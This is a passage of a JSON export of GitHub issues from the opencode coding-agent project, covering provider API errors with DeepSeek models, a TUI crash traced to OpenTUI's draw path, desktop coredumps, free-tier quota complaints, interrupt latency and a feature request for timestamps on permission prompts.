\\ -d '{\"model\":\"deepseek-v4-flash\",\"max_tokens\":30,\"messages\":[{\"role\":\"user\",\"content\":\"hi\"}]}' ``` ## Error response ```json { \"error\": { \"param\": null, \"type\": \"invalid_request_error\", \"code\": \"invalid_request_error\", \"message\": \"Error from provider (Console Go): Upstream request failed: [invalid_request_error] Empty input messages\" } } ``` The error is thrown by the `Console Go` upstream provider. ## Test matrix (same endpoint, same payload, only the model changes) | Case | `deepseek-v4-flash` | `deepseek-v4-pro` | |---|---|---| | Anthropic `/v1/messages` + string content | 200 OK | **400 Empty input messages** | | Anthropic `/v1/messages` + array content | 200 OK | 200 OK | | OpenAI `/v1/chat/completions` + string content | 200 OK | 200 OK | | Anthropic `/v1/messages` + stream + array content | — | 200, SSE works | ## Exact trigger condition - **Endpoint**: only the Anthropic-compatible `/v1/messages` - **Model**: only `deepseek-v4-pro` (same request works for `deepseek-v4-flash`) - **Trigger**: `messages[].content` is a **string** (`\"content\":\"hi\"`); the array form (`\"content\":[{\"type\":\"text\",\"text\":\"hi\"}]`) works ## Impact The Anthropic SDK accepts a string shorthand for `content`, e.g. `client.messages.create(model=\"deepseek-v4-pro\", messages=[{\"role\":\"user\",\"content\":\"hi\"}])`. Serialized as string content, this directly triggers the 400. Any string-content Anthropic-SDK call to `deepseek-v4-pro` fails, while `deepseek-v4-flash` or the array form does not. ## Related This overlaps with #34331 (same `deepseek-v4-pro` error observed there), but that issue is broader and predates this specific flash-vs-pro contrast. This report isolates the `deepseek-v4-pro`-only regression against a working control model. Workaround: pass `content` as the array form `[{\"type\":\"text\",\"text\":\"...\"}]` for `deepseek-v4-pro`.",
        "url": "https://github.com/anomalyco/opencode/issues/42091",
        "createdAt": "2026-08-12T17:12:02Z",
        "updatedAt": "2026-08-13T09:54:07Z",
        "timestamp": "2026-08-13T09:54:07Z",
        "metrics": {
          "reactions": 0,
          "comments": 5
        },
        "labels": [],
        "author": "TuTouPower",
        "state": "open",
        "assignees": [
          "fwang"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42094",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "TUI SIGILL (ud2) in OpenTUI drawTextBuffer when compositor scale jumps to 4",
        "text": "## Summary An idle OpenCode TUI aborts with `SIGILL` (`ud2`) the instant the compositor scales the monitor up to 4. This has happened twice, weeks apart, on two OpenCode versions, at the **same instruction pointer** and on the **same second** as the scale-to-4 event. This is **not** a missing-CPU-feature SIGILL. The faulting instruction is a deliberate `ud2` abort in the bundled Bun runtime, reached from OpenTUI's text-buffer draw path. Same abort site as #41483 (`opencode+0x2407064` / `libopentui.so+0x1d061d`), but a different trigger: a healthy local `foot` session that had already been running for ~56 minutes, not a partial capability handshake at startup. ## What happened 1. Started `opencode --auto` in foot on Hyprland (18:38). 2. Worked in a session, then left the TUI idle (last session write 18:56:40). 3. Scaled the external display **DP-1 from 3.13 → 4**. 4. Kernel recorded the abort on that same second: ``` Aug 12 19:34:41 traps: opencode[3769384] trap invalid opcode ip:2607064 ``` The process dumped core (`si_code: ILL_ILLOPN`). No OOM, 37 GiB free. ## Reproduction Reliable on this machine whenever OpenCode's TUI is open and the monitor is scaled **to 4**. 1. Hyprland + foot, OpenCode TUI running (`opencode --auto` is enough; session can be idle). 2. External display: Apple Pro Display XDR, `6016x3384@60`. 3. Scale DP-1 up through 2 → ~3.13 → **4**. 4. OpenCode dies immediately with `SIGILL`. Logical resolution at those scales: | scale | logical size | |------:|--------------| | 2 | 3008×1692 | | 3.13 | 1920×1080 | | **4** | **1504×846** | Going 2 → 3.13 did **not** kill it. The abort is on the step to 4. ## Two hits, same abort, same trigger | when | version | command | scale event (same second) | |------|---------|---------|---------------------------| | 2026-08-04 19:27:23 CEST | 1.18.11 | `opencode --auto` | DP-1 3.20 → 4 | | 2026-08-12 19:34:41 CEST | 1.18.16 | `opencode --auto` | DP-1 3.13 → 4 | Both cores have **identical offsets**: ``` #0 opencode + 0x2407064 ; ud2 #1 opencode + 0x2405266 #2 opencode + 0x32dd8bf ; napi_internal_suppress_crash_on_abort_if_desired #3 opencode + 0x44e35ad #4 libc.so.6 + 0x3e6f0 ; __restore_rt #5 libopentui.so + 0x1d061d ``` That is the same `#0`/`#5` pair reported in #41483. ## Symbolized OpenTUI frame `libopentui.so` is still on disk (`/tmp/.9adb5cbffaf2ed8f-00000000.so`, not stripped, has DWARF). `addr2line` on frame #5: ``` buffer.OptimizedBuffer.trySetTransparentTextCellFast packages/core/src/zig/buffer.zig:896 called from: OptimizedBuffer.drawTextBufferInternal buffer.zig:1659 OptimizedBuffer.drawTextBuffer buffer.zig:1274 lib.bufferDrawTextBufferView lib.zig:2521 ``` The instruction at that offset is a cell-buffer load inside the fast path (`cmpl $0xff, (%rsi,%rcx,4)`), not a SIMD op. Faulting bytes in the main binary: ``` 260705f: call 0x2634e80 ; noreturn abort helper 2607064: ud2 ; <- RIP 2607066: int3 int3 int3 ... ``` Classic Zig/Bun \"noreturn returned\" / panic abort, which the kernel reports as `trap invalid opcode`. ## Inference (not proven) Scale 3.13 → 4 shrinks the logical viewport by ~22% and delivers a SIGWINCH / `TIOCSWINSZ` to foot. OpenTUI then redraws. `trySetTransparentTextCellFast` indexes `self.buffer.char[index]` with no bounds check; `OptimizedBuffer.resize` reallocs those arrays. A draw that still holds an index computed against the pre-resize width/height would trip a Zig safety panic, which becomes this `ud2`. I have not single-stepped the panic reason (no panic string in the journal). The timestamp match + the symbolized draw path is the evidence. ## Ruled out - OOM / resource exhaustion - AVX / \"baseline binary on old CPU\" (Intel Core Ultra X7 358H, avx2+; the opcode is `ud2`, not EVEX) - A crash in the herdr OpenCode plugin — it is installed, but it is not on the crashing stack - `--auto` itself (that is just how the agent is launched; the abort is in the renderer) ## Environment - **opencode** 1.18.16 (previous hit: 1.18.11), installed via mise - **Bun** v1.3.14 (Linux x64 baseline), bundled - **OpenTUI** native `libopentui.so` extracted to `/tmp/.9adb5cbffaf2ed8f-00000000.so` - **OS** Arch Linux, kernel `7.1.5-arch1-1-ptl`, glibc 2.44 - **compositor** Hyprland 0.56.2 - **terminal** foot 1.27.0, JetBrainsMono Nerd Font 9 - **display** Apple Pro Display XDR `DP-1` 6016×3384@60 - **CPU** Intel Core Ultra X7 358H ## Expected A compositor scale change (or any SIGWINCH / resize) should reflow the TUI. It should not abort the process. ## Workaround Do not scale the monitor to 4 while OpenCode is open, or close OpenCode first. Session data in `~/.local/share/opencode/opencode.db` survived; the crash was during an idle redraw. ## Related - #41483 — identical `ud2` / `libopentui+0x1d061d`, trigger is a partial capability handshake at **startup** - #38199 — TUI crash on extreme shrink (~2×1); Bun segfault, different stack - anomalyco/opentui#971 — OpenTUI `bufferDrawBox` panic on grapheme / clip",
        "url": "https://github.com/anomalyco/opencode/issues/42094",
        "createdAt": "2026-08-12T17:45:55Z",
        "updatedAt": "2026-08-12T17:47:04Z",
        "timestamp": "2026-08-12T17:47:04Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "dhh",
        "state": "open",
        "assignees": [
          "kommander"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42097",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Desktop NodeService aborts on Linux when closing app",
        "text": "### Description Closing OpenCode Desktop on Linux can abort the Electron `node.mojom.NodeService` utility process while local-server cleanup is still running. `systemd-coredump` then processes a multi-gigabyte core; in one reproduction it reached a 4.7 GB memory peak and failed with `No space left on device`. The main process starts asynchronous sidecar cleanup in `before-quit`, but Electron continues quitting before that cleanup completes. The sidecar also calls `process.exit(0)` after reporting `stopped`, so its Electron utility host is not terminated and reaped by the parent. ### Plugins None ### OpenCode version Current `dev` desktop build ### Steps to reproduce 1. Run OpenCode Desktop on Linux and let the local server start. 2. Close the desktop window normally. 3. Check `journalctl` or `coredumpctl` after the app exits. 4. Observe the Electron `node.mojom.NodeService` process terminating with signal 6/ABRT and `systemd-coredump` processing it. ### Screenshot and/or share link Not applicable. Relevant journal output: ```text Process (electron) terminated abnormally with signal 6/ABRT Cannot store coredump: No space left on device systemd-coredump: 4.7G memory peak ``` ### Operating System Linux x86_64 ### Terminal Desktop application",
        "url": "https://github.com/anomalyco/opencode/issues/42097",
        "createdAt": "2026-08-12T17:51:44Z",
        "updatedAt": "2026-08-12T17:52:54Z",
        "timestamp": "2026-08-12T17:52:54Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "mjnaderi",
        "state": "open",
        "assignees": [
          "Brendonovich"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42105",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Network issue",
        "text": "### Description Hi, I’m having an issue with the free models. When I use a VPN, both MiMo 2.5 Free and DeepSeek V4 Flash Free immediately show “Free usage limit reached,” even after just sending a single message. Without a VPN, they work normally. Thanks!",
        "url": "https://github.com/anomalyco/opencode/issues/42105",
        "createdAt": "2026-08-12T18:13:06Z",
        "updatedAt": "2026-08-12T18:14:22Z",
        "timestamp": "2026-08-12T18:14:22Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "Ermia01",
        "state": "open",
        "assignees": [
          "fwang"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42110",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[BUG]: Active chat session stuck in \"Free usage exceeded\" retry loop after subscribing to Go",
        "text": "Description: I exceeded the free usage limit during an active session. After subscribing to Go and adding my token, new chats work perfectly under the subscription. However, the existing conversation remains permanently wedged in a retry loop showing \"Free usage exceeded, subscribe to Go\" and will not recognize the updated subscription state. Steps to reproduce: 1. Exhaust free usage limits in an active chat session. 2. Subscribe to Go and configure the active token. 3. Attempt to send a new message or resume the original chat session. Result: The old chat continuously retries with Free usage exceeded, subscribe to Go, while opening a brand new chat works without issues.",
        "url": "https://github.com/anomalyco/opencode/issues/42110",
        "createdAt": "2026-08-12T18:34:08Z",
        "updatedAt": "2026-08-12T18:54:41Z",
        "timestamp": "2026-08-12T18:54:41Z",
        "metrics": {
          "reactions": 0,
          "comments": 4
        },
        "labels": [],
        "author": "Kevin-Arias-Lizarazo",
        "state": "closed",
        "assignees": [
          "MrMushrooooom"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42114",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Insufficient balance. Manage your billing here: https://opencode.ai/workspace/wrk_01KZPYWCQQZEKXB8EBS6G76TET/billing",
        "text": "dont work Insufficient balance. Manage your billing here: https://opencode.ai/workspace/wrk_01KZPYWCQQZEKXB8EBS6G76TET/billing",
        "url": "https://github.com/anomalyco/opencode/issues/42114",
        "createdAt": "2026-08-12T18:46:25Z",
        "updatedAt": "2026-08-12T21:16:25Z",
        "timestamp": "2026-08-12T21:16:25Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "Ernesto35SS",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:42116",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Misconfigured OPENCODE_CONFIG / OPENCODE_CONFIG_DIR crash with errors",
        "text": "### Description Bad values for the config env vars kill opencode at startup with errors that don't say what's wrong ### Plugins _No response_ ### OpenCode version 1.18.15 ### Steps to reproduce ➜ opencode git:(dev) OPENCODE_CONFIG=/tmp/ opencode models Error: Unexpected error BadResource: FileSystem.readFile (/tmp/) ➜ opencode git:(dev) OPENCODE_CONFIG_DIR=/Users/user/.config/opencode/opencode.json opencode models Error: Unexpected error BadResource: FileSystem.readFile (/Users/user/.config/opencode/opencode.json/opencode.json) ➜ opencode git:(dev) OPENCODE_CONFIG_DIR=/does/not/exists opencode models Error: Unexpected error Unknown: FileSystem.makeDirectory (/does/not/exists) ``` ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42116",
        "createdAt": "2026-08-12T18:50:33Z",
        "updatedAt": "2026-08-12T18:54:50Z",
        "timestamp": "2026-08-12T18:54:50Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "hhamalai",
        "state": "open",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42119",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Is OpenCursor Really free?",
        "text": "### Description I am Using A Free Model Called Big pickle Whenever I try to run something it says <img width=\"551\" height=\"175\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/92b8c7c5-4d17-41bc-bc7d-8d4655c5de78\" /> ### Plugins nothing ### OpenCode version 1.18.16 ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System Windows 10 ### Terminal The Desktop app",
        "url": "https://github.com/anomalyco/opencode/issues/42119",
        "createdAt": "2026-08-12T18:56:16Z",
        "updatedAt": "2026-08-12T19:29:55Z",
        "timestamp": "2026-08-12T19:29:55Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "baconroaster23",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:42120",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "core: bound server-side interrupt settlement latency",
        "text": "## Problem Interrupting a running turn can take several seconds before the server settles the execution and projects its terminal state. In one observed run, shell/tool cancellation was timestamped at `16:33:49.400Z`, while the assistant terminal failure was not created until `16:34:00.946Z` and became visible around `16:34:01Z`. This is actual server-side settlement latency, not just delayed client feedback. ## Observed behavior 1. The user interrupts a turn with an active shell/provider step. 2. Tool cancellation begins promptly. 3. The interrupt request remains pending while cleanup and durable publication settle. 4. The execution does not reach its durable interrupted terminal for roughly 11.5 seconds. Several unrelated sessions resumed logging at approximately the same time, suggesting shared service contention rather than only per-session shell teardown. ## Current evidence Two independent blocking paths are confirmed in the runner: - Interrupted settlement waits for `captureStepEnd()`. A blocked end snapshot prevents both the run and interrupt request from settling. - Durable events across sessions share a single SQLite transaction permit. An unrelated open transaction can prevent the interrupted step from durably settling. The historical timestamp pattern points more strongly at durable-event/SQLite contention than end-snapshot work: event timestamps are assigned before durable publication waits, and unrelated sessions showed synchronized progress after the stall. This is not conclusive because phase-level timing was absent. Other unbounded cleanup paths remain relevant, including shell close waiting and provider stream cancellation. ## Desired outcome Interrupt settlement should have bounded latency under snapshot, database, shell, and provider contention without weakening: - durable event ordering - exact changed-file attribution - Undo/revert behavior for partial file mutations - single terminal-event semantics ## Recommended investigation 1. Add phase timing around tool terminal publication, tool-fiber joins, end-snapshot capture, changed-file calculation, step terminal publication, execution terminal publication, and shell/provider finalizers. 2. Record SQLite transaction-permit queue time separately from transaction execution and listener time. 3. Reproduce the long-tail interrupt with instrumentation. 4. Fix the measured blocker rather than masking it in clients. 5. Add a latency regression test using deterministic gates, not wall-clock sleeps. Potential directions to evaluate after measurement: - Replace native SQLite busy waiting with cooperative, bounded retry so the Bun event loop remains schedulable. - Reduce or isolate work performed while holding the global durable transaction permit. - Bound interrupted end-snapshot work while preserving the exact pre/post boundary needed by Undo. - Bound shell and provider cancellation finalizers with explicit escalation and observable failure states. ## Test seams The exploration branch `interrupt-latency-exploration` contains deterministic characterization tests in `packages/core/test/session-runner.test.ts` for: - blocked interrupted end-snapshot capture - unrelated database transaction contention during interrupted settlement The client-side `Stopping...` prototype from #42115 was intentionally closed because it improved perceived responsiveness but did not reduce server latency.",
        "url": "https://github.com/anomalyco/opencode/issues/42120",
        "createdAt": "2026-08-12T18:57:23Z",
        "updatedAt": "2026-08-12T18:57:23Z",
        "timestamp": "2026-08-12T18:57:23Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "kitlangton",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:42124",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Show timestamp on permission prompts (Ask/Approve dialogs)",
        "text": "## Feature Request: Show timestamp on permission prompts ### Description When OpenCode prompts for approval (e.g., \"Do you want to allow this bash command?\"), include the current date/time so the user has temporal context for the request. ### Use case Permission prompts currently show the tool name and arguments, but not **when** the request was made. For long-running sessions where many minutes pass between user prompts (and the agent is thinking, then proposing), the user has no easy way to know **how stale** a prompt is. Example scenario: - Agent says \"Voy a hacer X\" at 10:00 - Agent enters thinking mode for 8 minutes - Permission prompt appears at 10:08 with the proposed action - User has no easy way to see how long the agent took between planning and executing ### Proposed display Add a small timestamp to the permission prompt, similar to how `/thinking` and timestamps on messages already work: ``` ┌─────────────────────────────────────────────┐ │ Permission Required │ │ Shell command │ │ │ │ $ git push origin develop │ │ │ │ Asked: 08/08/2026 14:32:11 │ ← new field │ │ │ [once] [always] [reject] │ └─────────────────────────────────────────────┘ ``` The exact format can match the existing `timestamps` config in `kv.json` (`\"show\"` | `\"hide\"`), so users who already disabled timestamps get consistent behavior. ### Why this is useful 1. **Audit trail** — knowing when a permission was asked helps with reviewing past decisions 2. **Staleness check** — if a prompt has been waiting too long, user knows the context may have changed 3. **Debugging loops** — helps identify when the agent is stuck in long-thinking cycles 4. **Consistency with existing timestamps** — `kv.json: \"timestamps\": \"show\"` already works for chat messages; this would extend that to permission prompts ### Related existing functionality - `kv.json: timestamps: show` — toggles timestamps on chat messages (already works) - `tui.json: keybinds.session_toggle_timestamps` — keybind for the toggle - `tui.json: keybinds.session_timeline` — keybind for session timeline ### Acceptance criteria - [ ] Permission prompts show current timestamp by default (when `kv.json: timestamps: \"show\"`) - [ ] When `kv.json: timestamps: \"hide\"`, permission prompt does NOT show timestamp (consistent with chat messages) - [ ] Timestamp format is consistent with existing chat message timestamps - [ ] Works across all permission prompt types: `bash`, `edit`, `webfetch`, `question`, etc. ### Environment - OpenCode version: 1.18.10 - TUI mode (gnome-terminal on Wayland) - kv.json: timestamps: show ### Workaround (current) For now, the user has to either: - Track time manually while watching the agent - Use external `watch -n 1 date` in another terminal - Wait for the chat message timestamp (already visible) to estimate None of these are integrated with the actual permission prompt.",
        "url": "https://github.com/anomalyco/opencode/issues/42124",
        "createdAt": "2026-08-12T19:13:02Z",
        "updatedAt": "2026-08-13T03:14:16Z",
        "timestamp": "2026-08-13T03:14:16Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "iamjalberto",
        "state": "open",
        "assignees": [
          "simonklee"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42125",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "agents: current agent identity is not provided in model context",
        "text": "## Summary The model does not know which agent (plan, build, or custom) it is running as, because the current agent identity is not included in the model's system prompt/context. It is only discoverable by querying the server API (GET /api/session returns an \"agent\" field per session). ## Environment - opencode version: v0.0.0-next-17163 - OS: Windows_NT 10.0.26100.9168 (win32 x64) - Terminal: Unavailable (TERM_PROGRAM not set; TERM=xterm-256color) - Shell: cmd.exe (COMSPEC=C:\\Windows\\system32\\cmd.exe) - Install/channel: beta (next) - Active plugins: none found in config ## Reproduction 1. Start a TUI session with the `plan` agent (Tab to switch or `/agents`). 2. Ask the model: \"Do you know whether you are the plan or build agent?\" 3. Observe the model cannot tell from its own context. 4. Run `opencode2 api get /api/session` and find the current session's `\"agent\"` field (e.g. `\"agent\":\"plan\"`). ## Expected Behavior The model should know its current agent identity directly from its context, since the harness already stores this in session metadata. ## Actual Behavior The model's system prompt contains session ID, working directory, platform, and other environment info, but no agent identity. The model must work around this by querying the HTTP API, or it answers that it cannot know. ## Additional Context - Reproducible consistently. - Workaround: `opencode2 api get /api/session` reveals the `agent` field, but this is awkward and requires the model to use the shell tool. - Suggest including the active agent in the injected context/system prompt.",
        "url": "https://github.com/anomalyco/opencode/issues/42125",
        "createdAt": "2026-08-12T19:18:04Z",
        "updatedAt": "2026-08-12T19:20:01Z",
        "timestamp": "2026-08-12T19:20:01Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "2.0"
        ],
        "author": "UranusNo7",
        "state": "open",
        "assignees": [
          "nexxeln"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42126",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "chore: adopt opencode-drive and terminal catalog as packages/drive and packages/lab/catalog",
        "text": "## What Adopt the `anomalyco/opencode-drive` repo into this monorepo as two packages, and deploy the terminal catalog to `dev.opencode.ai/lab/catalog`. - `packages/drive` — the `opencode-drive` npm package (~24k lines TS): TUI driver, deterministic LLM, frame capture, recording, script runner, CLI. - `packages/lab/catalog` — the terminal-state catalog app (~8k lines TS/TSX/CSS + 2.7 MB capture frames), currently deployed at catalog.kitlangton.dev. `packages/lab/*` becomes the umbrella for internal design/dev tooling (precedent: nested workspaces already exist via `packages/console/*`). ## Why - Drive's whole purpose is testing OpenCode at HEAD, but from an external repo it chases published `@opencode-ai/client` next-channel snapshots (`0.0.0-next-17010` today). In-repo it becomes `workspace:*` and tests/captures run against the working tree. - Catalog captures of \"current HEAD\" stop requiring detached-worktree preparation of this repo. - Opens the door to TUI regression gates in CI using drive. - One less repo to maintain; the catalog gets first-party hosting instead of a personal domain. ## Preconditions - [ ] The in-flight theme-matrix work in `opencode-drive` lands first (full 63-state recapture at current HEAD for themes opencode/tokyonight/everforest, Notifications toast family). Do not start before that merges. ## Plan ### 1. Flat import (no history) - Copy `packages/drive` and `apps/catalog` → `packages/drive` and `packages/lab/catalog`. Clean import; history stays in the archived source repo. - Add `packages/lab/*` to root `package.json` workspaces. - Drop Changesets entirely (config, scripts, CHANGELOG workflow). If/when `opencode-drive` needs publishing from here, follow the `@opencode-ai/http-recorder` precedent. - Dependency alignment: `@opencode-ai/client` → `workspace:*`; `effect`/`@effect/*`/shared dev deps → `catalog:` entries (versions already match: bun 1.3.14, effect 4.0.0-beta.101). Keep `@opentui/core` pinned as drive requires. - Wire `typecheck` into turbo, keep package-local `bun run test` (repo rule: tests never run from root). ### 2. Capture pipeline simplification - Current-HEAD captures run directly against the working tree (no worktree prep). Keep `--revision` worktree mode for capturing historical/pinned commits. ### 3. Base path support - The app assumes root serving. Add `/lab/catalog` base: `bun build --public-path`, base constant in `deep-link.ts` URL builders, and prefixed fetches for `catalog.json` / `drive-captures.json` / capture frames. ### 4. Deploy - `packages/lab/catalog/wrangler.jsonc`: worker `opencode-lab-catalog`, assets binding, route `dev.opencode.ai/lab/catalog*` (zone `opencode.ai`). No production route on purpose — this is internal tooling; promoting it later is a two-line change. - `.github/workflows/deploy-lab-catalog.yml` cloned from `deploy-www.yml`: push to `dev` with `paths: packages/lab/catalog/**` (+ `packages/drive/**` since captures embed drive behavior), build, `wrangler deploy` with existing `CLOUDFLARE_API_TOKEN`. ### 5. Decommission - Point `catalog.kitlangton.dev` at the new worker temporarily or delete the old `opencode-terminal-catalog` worker after verifying the new URL. - Archive `anomalyco/opencode-drive` (read-only) with a README pointer. Move the `catalog`/`design-feedback` issue labels + prefilled-feedback URL target to `anomalyco/opencode` (update `src/feedback.ts`). - Migrate the repo skills/AGENTS notes that reference `opencode-drive` paths. ## Verification - `bun run lint`, `bun typecheck`, `bun run test` from both package dirs; catalog `bun run build`. - One full capture run against working-tree HEAD producing all states across the three themes. - Browser-verify `dev.opencode.ai/lab/catalog`: deep links, filters, viewer, feedback links target the new repo.",
        "url": "https://github.com/anomalyco/opencode/issues/42126",
        "createdAt": "2026-08-12T19:29:03Z",
        "updatedAt": "2026-08-12T19:29:03Z",
        "timestamp": "2026-08-12T19:29:03Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "kitlangton",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:42128",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Free Usage Limit Exceeded on First Request (DeepSeek V4 Flash Free / OpenCode Zen)",
        "text": "### Description # Issue: Free Usage Limit Exceeded on First Request (DeepSeek V4 Flash Free / OpenCode Zen) ## Summary The model `DeepSeek V4 Flash Free` (provider: OpenCode Zen) returns a \"Free usage exceeded\" error immediately, despite no prior requests having been made under this account/session. ## Environment - **Client:** OpenCode (terminal-based AI coding CLI) - **Model:** DeepSeek V4 Flash Free - **Provider:** OpenCode Zen - **Agent config:** Claude-Like-V2 ## Steps to Reproduce 1. Open OpenCode with the `Claude-Like-V2` agent configuration. 2. Select `DeepSeek V4 Flash Free` as the active model. 3. Send a minimal test message (e.g. `hai`). 4. Observe the response. ## Expected Behavior The request should be processed normally, since this is the first request sent on the free tier and no prior usage has been recorded. ## Actual Behavior The request immediately fails with the following error: ``` Free usage exceeded, subscribe to Go [retrying attempt #2] ``` The system continues to retry automatically but does not succeed. ## Evidence <img width=\"720\" height=\"927\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/a326ddfb-55cc-4540-967b-067c4e0ae085\" /> - Screenshot attached showing the error message displayed directly after the first message was sent, with no prior activity in the session. ## Impact - Blocks any usage of the free tier for this model. - Prevents testing/development workflows that rely on the free quota. - Retry attempts do not resolve the issue, resulting in a stuck state. ## Possible Causes - Free-tier quota may be shared/pooled across all users and already exhausted server-side (not user-specific). - Incorrect quota tracking or reset logic on the provider's backend. - Session/account misidentification causing the quota check to reference a different (already-exhausted) usage record. ## Suggested Next Steps - Verify quota reset timing and whether the free tier is per-user or globally shared. - Check backend logs for the account/session to confirm zero prior usage before this request. - Provide clearer error messaging distinguishing \"global quota exhausted\" from \"user quota exhausted.\" ## Additional Notes No workaround currently available other than switching to a paid plan (`Go`) or a different model. ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System Proot-distro Debian (termux) ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42128",
        "createdAt": "2026-08-12T19:34:31Z",
        "updatedAt": "2026-08-12T20:54:48Z",
        "timestamp": "2026-08-12T20:54:48Z",
        "metrics": {
          "reactions": 5,
          "comments": 7
        },
        "labels": [],
        "author": "Riflxz",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:42129",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "deepseek and mimo models ratelimit problem",
        "text": "### Description on opencode free model tier, the deepseek and mimo are getting ratelimit error after using tools. the first tool call(search for example) get hit with ratelimit error. tested on 9router and omnirouter and the open code, after using 2 light task request(for example curling a site) it get hit with ratelimit even when the limits are not hit ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42129",
        "createdAt": "2026-08-12T19:35:59Z",
        "updatedAt": "2026-08-12T19:37:32Z",
        "timestamp": "2026-08-12T19:37:32Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "2sulraw",
        "state": "open",
        "assignees": [
          "MrMushrooooom"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42132",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "OpenCode Go",
        "text": "I puchrased the subscription yet the chat still says limit exeeded buy Go. Also when trying to use Deepseek for Go it says its only available in china, it was my mane engine.",
        "url": "https://github.com/anomalyco/opencode/issues/42132",
        "createdAt": "2026-08-12T19:44:57Z",
        "updatedAt": "2026-08-12T22:15:17Z",
        "timestamp": "2026-08-12T22:15:17Z",
        "metrics": {
          "reactions": 0,
          "comments": 4
        },
        "labels": [],
        "author": "6zorn9",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:42134",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Deepseek V4 Pro (new)",
        "text": "Hello! I'm having a problem when using DeepSeek V4 Pro. I get the following error message: \"The latest version of this model is only available hosted in China and requires explicit opt-in.\" Could you please help me understand how to enable it or resolve this issue?",
        "url": "https://github.com/anomalyco/opencode/issues/42134",
        "createdAt": "2026-08-12T19:55:15Z",
        "updatedAt": "2026-08-13T16:17:34Z",
        "timestamp": "2026-08-13T16:17:34Z",
        "metrics": {
          "reactions": 1,
          "comments": 2
        },
        "labels": [],
        "author": "LeandroGue",
        "state": "open",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42135",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "deepseek-v4-pro on opencode-go /responses fails on any multi-turn request (flash & official API both work)",
